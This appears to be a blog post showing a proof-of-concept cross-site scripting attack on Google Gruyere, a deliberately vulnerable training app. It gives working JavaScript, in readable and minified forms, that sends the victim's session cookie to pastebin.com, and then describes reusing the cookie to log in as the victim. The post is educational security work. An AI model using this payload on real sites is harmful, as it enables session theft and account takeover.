XSS Session Hijacking proof of concept

I’ve been spending time lately playing with Google Gruyere. I first got introduced to it back when it was called Jarlsberg. After finding all the cross-site scripting vulnerabilities, I thought it would be cool to actually exploit them.

To this day, I had never exploited any of the holes I had found. When disclosing security vulnerabilities, I knew of the potential that a hole could bring with it. While it would be easy to convince myself of the necessity for a fix, I’ve learned it’s much harder to convince others. So I set out on implementing a proof-of-concept for one of the holes in Google Gruyere.

Gruyere allows users to add links to their homepage, however the application doesn’t sanitize the input. Try the following as your homepage and you’ll get a nice alert dialog:

javascript:alert(1)

To exploit this, I wrote the following JavaScript:

function a() {
var xhr =new XMLHttpRequest();
var params = 'paste_code=' + document.cookie + '&paste_name=XSS_poc';
xhr.open("POST","http://pastebin.com/api_public.php",true);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-length",params.length + "");
xhr.setRequestHeader("Connection","close");
xhr.send(params);
}
a();

I then used the Google Closure Compiler to compress this JavaScript by over 18% and achieved the final code as follows:

var a=new XMLHttpRequest,b="paste_code="+document.cookie+"&paste_name=XSS_poc";a.open("POST","http://pastebin.com/api_public.php",true);a.setRequestHeader("Content-type","application/x-www-form-urlencoded");a.setRequestHeader("Content-length",b.length+"");a.setRequestHeader("Connection","close");a.send(b);

Prefix the JavaScript code with `javascript:`, and you’re off to the races.

So how does this work? This JavaScript, when executed, will take the document’s cookie and send it to Pastebin.com. The attacker will then visit pastebin.com and find the cookie by searching for “XSS_poc” on Pastebin.

I then used a Google Chrome extension called Edit This Cookie to change my cookie to be that of the victim. Hitting Refresh on the page now showed that I was logged in as the victim 🙂

I recorded a video of the attack and have embedded it below. The music was created by Kevin MacLeod.

What do you think?